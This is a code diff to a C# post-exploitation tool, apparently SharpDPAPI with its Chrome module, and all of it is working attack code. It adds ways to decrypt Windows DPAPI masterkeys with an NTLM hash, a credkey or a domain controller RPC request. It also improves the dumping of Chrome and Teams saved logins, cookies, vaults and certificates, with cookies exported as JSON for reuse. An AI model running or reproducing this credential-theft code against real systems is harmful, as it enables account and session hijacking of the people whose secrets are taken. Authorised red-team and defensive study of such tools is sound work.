aesKeyPaths.Add($"{userDirectory}\\AppData\\Roaming\\Microsoft\\Teams\\Local State"); + } - foreach(var aesKeyPath in aesKeyPaths) + foreach (var aesKeyPath in aesKeyPaths) + { + if (File.Exists(aesKeyPath)) { - if (File.Exists(aesKeyPath)) - { - byte[] aesStateKey = GetStateKey(MasterKeys, aesKeyPath, unprotect, false); - } + byte[] aesStateKey = GetStateKey(MasterKeys, aesKeyPath, unprotect, false); } } } @@ -416,7 +425,7 @@ public static void ParseChromeLogins(Dictionary MasterKeys, stri Console.WriteLine("\r\n[X] Invalid format: {0}", displayFormat); return; } - + string query = "SELECT signon_realm, origin_url, username_value, password_value, times_used, cast(date_created as text) as date_created FROM logins"; List results = database.Query2(query, false); @@ -444,7 +453,8 @@ public static void ParseChromeLogins(Dictionary MasterKeys, stri decBytes = Encoding.ASCII.GetBytes(String.Format("--AES STATE KEY NEEDED--")); } } - else { + else + { // using the old method decBytes = SharpDPAPI.Dpapi.DescribeDPAPIBlob(passwordBytes, MasterKeys, "chrome", unprotect); } @@ -543,9 +553,9 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str // old - fails in some cases due to partial indexing :( //string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, is_secure, is_httponly, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies"; - + // new, seems to work with partial indexing?? "/giphy table flip" - string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies"; + string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value, samesite, is_secure, is_httponly FROM cookies"; List results = database.Query2(query, false); // used if cookies "never expire" for json output @@ -553,6 +563,7 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str TimeSpan timespan = (DateTime.Now).AddYears(100) - epoch; long longExpiration = (long)Math.Abs(timespan.TotalSeconds * 1000000); + int idInt = 1; foreach (SQLiteQueryRow row in results) { try @@ -593,6 +604,41 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str double expDateDouble = 0; long expDate; Int64.TryParse(row.column[4].Value.ToString(), out expDate); + int sameSite = -1; + int.TryParse(row.column[7].Value.ToString(), out sameSite); + + if (!int.TryParse(row.column[8].Value.ToString(), out int isSecure)) + { + throw new Exception($"Failed to parse int from {row.column[8].Value}"); + } + + string secureFlag = isSecure > 0 ? "true" : "false"; + + if (!int.TryParse(row.column[9].Value.ToString(), out int isHttpOnly)) + { + throw new Exception($"Failed to parse int from {row.column[8].Value}"); + } + + string httpOnly = isHttpOnly > 0 ? "true" : "false"; + + string sameSiteString = ""; + switch (sameSite) + { + case -1: + sameSiteString = "unspecified"; + break; + case 0: + sameSiteString = "no_restriction"; + break; + case 1: + sameSiteString = "lax"; + break; + case 2: + sameSiteString = "strict"; + break; + default: + throw new Exception($"Unexpected SameSite value {sameSite}"); + } // https://github.com/djhohnstein/SharpChrome/issues/1 if ((expDate / 1000000.000000000000) - 11644473600 > 0) expDateDouble = (expDate / 1000000.000000000000000) - 11644473600; @@ -626,7 +672,8 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str } } } - else if (showAll || (expires > DateTime.UtcNow) || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) { + else if (showAll || (expires > DateTime.UtcNow) || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) + { // if we're showing all, the cookie isn't expired, or the cookie doesn't have an expiration displayValue = true; } @@ -663,9 +710,9 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str { Console.WriteLine("},\r\n{"); } - + someResults = true; - + Console.WriteLine(" \"domain\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[1].Value))); if (setneverexpire) { @@ -678,15 +725,16 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str Console.WriteLine(" \"expirationDate\": {0},", expDateDouble); } } - Console.WriteLine(" \"hostOnly\": false,"); - Console.WriteLine(" \"httpOnly\": true,"); + Console.WriteLine($" \"hostOnly\": false,"); + Console.WriteLine($" \"httpOnly\": {httpOnly},"); Console.WriteLine(" \"name\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[2].Value))); Console.WriteLine(" \"path\": \"{0}\",", String.Format("{0}", row.column[3].Value)); - Console.WriteLine(" \"sameSite\": \"no_restriction\","); - Console.WriteLine(" \"secure\": true,"); + Console.WriteLine($" \"sameSite\": \"{sameSiteString}\","); + Console.WriteLine($" \"secure\": {secureFlag},"); Console.WriteLine(" \"session\": true,"); - Console.WriteLine(" \"storeId\": null,"); + Console.WriteLine(" \"storeId\": \"0\","); Console.WriteLine(" \"value\": \"{0}\"", SharpDPAPI.Helpers.CleanForJSON(value)); + // Console.WriteLine($" \""); } else { @@ -717,7 +765,7 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str } } } - catch {} + catch { } } if (displayFormat.Equals("json") && someResults) @@ -732,15 +780,26 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str public static string GetBase64EncryptedKey(string localStatePath) { // extracts the base64 encoded encrypted chrome AES state key + // quote-wrap the search term in order to handle multiple + // JSON keys with "encrypted_key" (e.g., "app_bound_encrypted_key") string localStateData = File.ReadAllText(localStatePath); - string searchTerm = "encrypted_key"; - + string searchTerm = "\"encrypted_key\""; + int indexPadding = 2; int startIndex = localStateData.IndexOf(searchTerm); + // if we can't find the quote-wrapped variant, fall back to + // the original variant + if (startIndex < 0) + { + searchTerm = "encrypted_key"; + indexPadding = 3; + startIndex = localStateData.IndexOf(searchTerm); + } + if (startIndex < 0) return ""; - - int keyIndex = startIndex + searchTerm.Length + 3; + + int keyIndex = startIndex + searchTerm.Length + indexPadding; string tempVals = localStateData.Substring(keyIndex); int stopIndex = tempVals.IndexOf('"'); @@ -824,7 +883,7 @@ public static byte[] GetStateKey(Dictionary MasterKeys, string l return stateKey; } - catch(Exception e) + catch (Exception e) { if (($"{e.Message}".Contains("Key not valid for use in specified state")) && (unprotect)) { diff --git a/SharpDPAPI/Commands/Blob.cs b/SharpDPAPI/Commands/Blob.cs index a1ccdac..0eb804b 100755 --- a/SharpDPAPI/Commands/Blob.cs +++ b/SharpDPAPI/Commands/Blob.cs @@ -16,6 +16,7 @@ public void Execute(Dictionary arguments) byte[] blobBytes; bool unprotect = false; // whether to force CryptUnprotectData() byte[] entropy = null; + var server = ""; if (arguments.ContainsKey("/unprotect")) { @@ -42,6 +43,11 @@ public void Execute(Dictionary arguments) return; } + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + } + // {GUID}:SHA1 keys are the only ones that don't start with / Dictionary masterkeys = new Dictionary(); foreach (KeyValuePair entry in arguments) @@ -62,16 +68,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/entropy")) diff --git a/SharpDPAPI/Commands/Certificate.cs b/SharpDPAPI/Commands/Certificate.cs index e798af4..cea09a6 100755 --- a/SharpDPAPI/Commands/Certificate.cs +++ b/SharpDPAPI/Commands/Certificate.cs @@ -14,9 +14,22 @@ public void Execute(Dictionary arguments) Console.WriteLine("\r\n[*] Action: Certificate Triage"); arguments.Remove("certificates"); - string server; // used for remote server specification + string server = ""; // used for remote server specification bool cng = false; // used for CNG certs bool showall = false; // used for CNG certs + bool unprotect = false; // whether to force CryptUnprotectData() + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + } + + if (arguments.ContainsKey("/unprotect")) + { + Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption."); + unprotect = true; + } + Console.WriteLine(); // {GUID}:SHA1 keys are the only ones that don't start with / Dictionary masterkeys = new Dictionary(); @@ -118,17 +131,25 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); + } + if (arguments.ContainsKey("/server")) { server = arguments["/server"]; @@ -143,12 +164,12 @@ public void Execute(Dictionary arguments) if (File.Exists(target)) { Console.WriteLine("[*] Target Certificate File: {0}\r\n", target); - Triage.TriageCertFile(target, masterkeys, cng, showall); + Triage.TriageCertFile(target, masterkeys, cng, showall, unprotect); } else if (Directory.Exists(target)) { Console.WriteLine("[*] Target Certificate Folder: {0}\r\n", target); - Triage.TriageCertFolder(target, masterkeys, cng, showall); + Triage.TriageCertFolder(target, masterkeys, cng, showall, unprotect); } else { @@ -157,7 +178,7 @@ public void Execute(Dictionary arguments) } else { - Triage.TriageUserCerts(masterkeys, "", showall); + Triage.TriageUserCerts(masterkeys, "", showall, unprotect); } } diff --git a/SharpDPAPI/Commands/Credentials.cs b/SharpDPAPI/Commands/Credentials.cs index a83c7c6..2510754 100755 --- a/SharpDPAPI/Commands/Credentials.cs +++ b/SharpDPAPI/Commands/Credentials.cs @@ -43,16 +43,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/target")) diff --git a/SharpDPAPI/Commands/Keepass.cs b/SharpDPAPI/Commands/Keepass.cs index 9ef9523..bd56b1a 100644 --- a/SharpDPAPI/Commands/Keepass.cs +++ b/SharpDPAPI/Commands/Keepass.cs @@ -49,16 +49,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/target")) diff --git a/SharpDPAPI/Commands/Masterkeys.cs b/SharpDPAPI/Commands/Masterkeys.cs index aee4f58..4136285 100755 --- a/SharpDPAPI/Commands/Masterkeys.cs +++ b/SharpDPAPI/Commands/Masterkeys.cs @@ -1,6 +1,12 @@ using System; using System.Collections.Generic; +using System.DirectoryServices.ActiveDirectory; using System.IO; +using System.Net; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; +using static System.Net.Mime.MediaTypeNames; namespace SharpDPAPI.Commands { @@ -12,8 +18,16 @@ public void Execute(Dictionary arguments) { Console.WriteLine("\r\n[*] Action: User DPAPI Masterkey File Triage\r\n"); - byte[] backupKeyBytes; - string password; + byte[] backupKeyBytes = null; + string password = ""; + string ntlm = ""; + string credkey = ""; + string computerName = ""; + string target = ""; + string sid = ""; + bool hashes = false; // true to display the matserkeys as hashes + bool rpc = false; // true to use RPC MS-BKUP for retrieval + bool show = true; // true to show the masterkey results in the Triage code Dictionary mappings = new Dictionary(); if (arguments.ContainsKey("/pvk")) @@ -27,94 +41,71 @@ public void Execute(Dictionary arguments) { backupKeyBytes = Convert.FromBase64String(pvk64); } - if (arguments.ContainsKey("/server")) - { - Console.WriteLine("[*] Triaging remote server: {0}\r\n", arguments["/server"]); - mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true, arguments["/server"]); - } - else if (arguments.ContainsKey("/target")) - { - Console.WriteLine("[*] Triaging masterkey target: {0}\r\n", arguments["/target"]); - mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true, "", "", arguments["/target"]); - } - else - { - Console.WriteLine(); - mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true); - } } - else if (arguments.ContainsKey("/password")) + + if (arguments.ContainsKey("/server")) + { + computerName = arguments["/server"]; + } + if (arguments.ContainsKey("/target")) + { + target = arguments["/target"]; + } + + if (arguments.ContainsKey("/password")) { password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - mappings = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else if (arguments.ContainsKey("/target")) - { - if (!arguments.ContainsKey("/sid")) - { - Console.WriteLine("[X] When using /password:X with /target:X, a /sid:X (domain user SID) is required!"); - return; - } - else { - Console.WriteLine("[*] Triaging masterkey target: {0}\r\n", arguments["/target"]); - mappings = Triage.TriageUserMasterKeys(null, true, "", password, arguments["/target"], arguments["/sid"]); - } - } - else - { - mappings = Triage.TriageUserMasterKeys(null, true, "", password); - } } - else if (arguments.ContainsKey("/hashes")) + if (arguments.ContainsKey("/ntlm")) { - Console.WriteLine("[*] Will dump user masterkey hashes\r\n"); - if (arguments.ContainsKey("/server")) - { - mappings = Triage.TriageUserMasterKeys(null, true, arguments["/server"], "", "", "", true); - } - else if (arguments.ContainsKey("/target")) - { - if (!arguments.ContainsKey("/sid")) - { - Console.WriteLine("[X] When dumping hashes with /target:X, a /sid:X (domain user SID) is required!"); - return; - } - else - { - Console.WriteLine("[*] Triaging masterkey target: {0}\r\n", arguments["/target"]); - mappings = Triage.TriageUserMasterKeys(null, true, "", "", arguments["/target"], arguments["/sid"], true); - } - } - else - { - mappings = Triage.TriageUserMasterKeys(null, true, "", "", "", "", true); - } + ntlm = arguments["/ntlm"]; + } + if (arguments.ContainsKey("/credkey")) + { + credkey = arguments["/credkey"]; + } + if (arguments.ContainsKey("/sid")) + { + sid = arguments["/sid"]; + } + + if (arguments.ContainsKey("/hashes")) + { + hashes = true; + } + if (arguments.ContainsKey("/rpc")) + { + rpc = true; } - else + + if ( + (arguments.ContainsKey("/password") || arguments.ContainsKey("/ntlm") || arguments.ContainsKey("/credkey")) + && arguments.ContainsKey("/target") + && !arguments.ContainsKey("/sid")) { - Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key, /password:X or /hashes must be supplied!"); + Console.WriteLine("[X] When using /password, /ntlm, or /credkey with /target:X, a /sid:X (domain user SID) is required!"); return; } - if (!arguments.ContainsKey("/password")) + if (arguments.ContainsKey("/hashes") && arguments.ContainsKey("/target") && !arguments.ContainsKey("/sid")) { - if (mappings.Count == 0) - { - Console.WriteLine("\r\n[!] No master keys decrypted!\r\n"); - } - else - { - var message = arguments.ContainsKey("/hashes") ? "hashes" : "cache"; - Console.WriteLine("\r\n[*] User master key {0}:\r\n", message); - foreach (KeyValuePair kvp in mappings) - { - Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); - } - } + Console.WriteLine("[X] When using /password, /ntlm, or /credkey with /target:X, a /sid:X (domain user SID) is required!"); + return; + } + + if ( + !(arguments.ContainsKey("/password") || arguments.ContainsKey("/ntlm") || arguments.ContainsKey("/credkey")) + && !arguments.ContainsKey("/pvk") + && !arguments.ContainsKey("/rpc") + && !arguments.ContainsKey("/hashes")) + { + Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key, /rpc, /password, /ntlm, /credkey, or /hashes must be supplied!"); + return; } + + mappings = Triage.TriageUserMasterKeys( backupKeyBytes: backupKeyBytes, show: show, computerName: computerName, + password: password, ntlm: ntlm, credkey: credkey, target: target, + userSID: sid, dumpHash: hashes, rpc: rpc); } } } \ No newline at end of file diff --git a/SharpDPAPI/Commands/PS.cs b/SharpDPAPI/Commands/PS.cs index 2a5fc63..889484c 100755 --- a/SharpDPAPI/Commands/PS.cs +++ b/SharpDPAPI/Commands/PS.cs @@ -14,6 +14,7 @@ public void Execute(Dictionary arguments) string target = ""; bool unprotect = false; // whether to force CryptUnprotectData() + var server = ""; if (arguments.ContainsKey("/unprotect")) { @@ -32,6 +33,11 @@ public void Execute(Dictionary arguments) return; } + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + } + // {GUID}:SHA1 keys are the only ones that don't start with / Dictionary masterkeys = new Dictionary(); foreach (KeyValuePair entry in arguments) @@ -52,16 +58,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } Triage.TriagePSCredFile(masterkeys, target, unprotect); diff --git a/SharpDPAPI/Commands/RDG.cs b/SharpDPAPI/Commands/RDG.cs index 9c9adbf..5a4faa5 100755 --- a/SharpDPAPI/Commands/RDG.cs +++ b/SharpDPAPI/Commands/RDG.cs @@ -49,16 +49,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/target")) diff --git a/SharpDPAPI/Commands/Search.cs b/SharpDPAPI/Commands/Search.cs index 2866ba7..09b93b7 100644 --- a/SharpDPAPI/Commands/Search.cs +++ b/SharpDPAPI/Commands/Search.cs @@ -152,7 +152,7 @@ private void SearchFile(Dictionary arguments) private bool FileContainsDpapiBlob(string path, uint bytesToSearch) { var fileContents = new byte[bytesToSearch]; - using (var file = new FileStream(path, FileMode.Open)) + using (var file = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { file.Read(fileContents, 0, (int)bytesToSearch); } diff --git a/SharpDPAPI/Commands/Triage.cs b/SharpDPAPI/Commands/Triage.cs index ee2e790..7c1f523 100755 --- a/SharpDPAPI/Commands/Triage.cs +++ b/SharpDPAPI/Commands/Triage.cs @@ -32,7 +32,6 @@ public void Execute(Dictionary arguments) } if (arguments.ContainsKey("/pvk")) { - // use a domain DPAPI backup key to triage masterkeys masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); } else if (arguments.ContainsKey("/mkfile")) @@ -41,16 +40,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password")) diff --git a/SharpDPAPI/Commands/Vaults.cs b/SharpDPAPI/Commands/Vaults.cs index 3f611ec..24653d4 100755 --- a/SharpDPAPI/Commands/Vaults.cs +++ b/SharpDPAPI/Commands/Vaults.cs @@ -41,16 +41,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/target")) diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs index f11fc48..c471969 100755 --- a/SharpDPAPI/Domain/Info.cs +++ b/SharpDPAPI/Domain/Info.cs @@ -23,7 +23,7 @@ public static void ShowUsage() The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs: - + search /type:registry [/path:HKLM\path\to\key] [/showErrors] search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] search /type:file /path:C:\path\to\file [/maxBytes:] @@ -45,19 +45,26 @@ public static void ShowUsage() /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys - /password:X - first decrypt the current user's masterkeys using a plaintext password (works remotely) + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so /server:SERVER - triage a remote server, assuming admin access + /hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption) Arguments for the credentials|vaults|rdg|keepass|triage|blob|ps commands: Decryption: /unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands - /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. - GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption - /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption + /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption Targeting: /target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder @@ -72,8 +79,8 @@ public static void ShowUsage() /showall - show all decrypted private key files, not just ones that are linked to installed certs (the default) /machine - use the local machine store for certificate triage /mkfile | /target - for /machine triage - /pvk | /mkfile | /password | /server | /target - for user triage - + [all decryption args from User Triage above] + Note: in most cases, just use *triage* if you're targeting user DPAPI secrets and *machinetriage* if you're going after SYSTEM DPAPI secrets. These functions wrap all the other applicable functions that can be automatically run. diff --git a/SharpDPAPI/Domain/Version.cs b/SharpDPAPI/Domain/Version.cs index ece7e6b..8c69a2a 100755 --- a/SharpDPAPI/Domain/Version.cs +++ b/SharpDPAPI/Domain/Version.cs @@ -4,6 +4,6 @@ namespace SharpDPAPI { public static class Version { - public static string version = "1.11.3"; + public static string version = "1.12.0"; } 